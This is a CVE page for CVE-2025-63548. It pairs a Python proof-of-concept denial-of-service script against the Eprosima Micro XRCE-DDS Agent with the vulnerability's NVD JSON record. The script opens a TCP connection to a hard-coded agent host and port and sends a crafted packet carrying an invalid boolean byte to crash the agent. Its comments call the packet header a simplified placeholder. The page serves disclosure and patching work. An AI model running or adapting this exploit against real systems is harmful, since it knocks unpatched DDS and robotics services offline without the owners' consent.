CVE-2025-63548

import socket # Target configuration TARGET_HOST = "192.168.1.100" TARGET_PORT = 8888 # Default Micro XRCE-DDS Agent port def send_exploit(): """ PoC for CVE-2025-63548. Sends a crafted packet with an invalid boolean value to trigger DoS. Note: The actual packet structure depends on the specific sub-protocol used. This example demonstrates sending a malformed payload. """ try: # Establish TCP connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_HOST, TARGET_PORT)) # Constructing a malicious packet # Header (simplified for demonstration) # Using a magic byte or header that the agent expects packet_header = b'\x01\x00\x00\x00' # Payload containing invalid boolean value (e.g., 0x02) # Normal booleans are 0x00 (False) or 0x01 (True) # Placing 0x02 in a boolean field triggers the vulnerability invalid_boolean = b'\x02' padding = b'\x00' * 50 payload = packet_header + invalid_boolean + padding print(f"[*] Sending malformed packet to {TARGET_HOST}:{TARGET_PORT}...") s.send(payload) print("[+] Packet sent. Check if the Agent has crashed.") s.close() except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": send_exploit()

{"cve": {"id": "CVE-2025-63548", "sourceIdentifier": "[email protected]", "published": "2026-05-01T18:16:13.477", "lastModified": "2026-05-05T19:39:58.510", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in Eprosima Micro-XREC-DDS Agent v.3.0.1 allows a remote attacker to cause a denial of service via a packet specially crafted to bear a non-valid value in any Boolean field."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-241"}]}], "references": [{"url": "https://github.com/eProsima/Micro-XRCE-DDS-Agent/issues/389", "source": "[email protected]"}, {"url": "https://github.com/j4kb4dw0lf/CVEs/blob/main/README.md", "source": "[email protected]"}]}}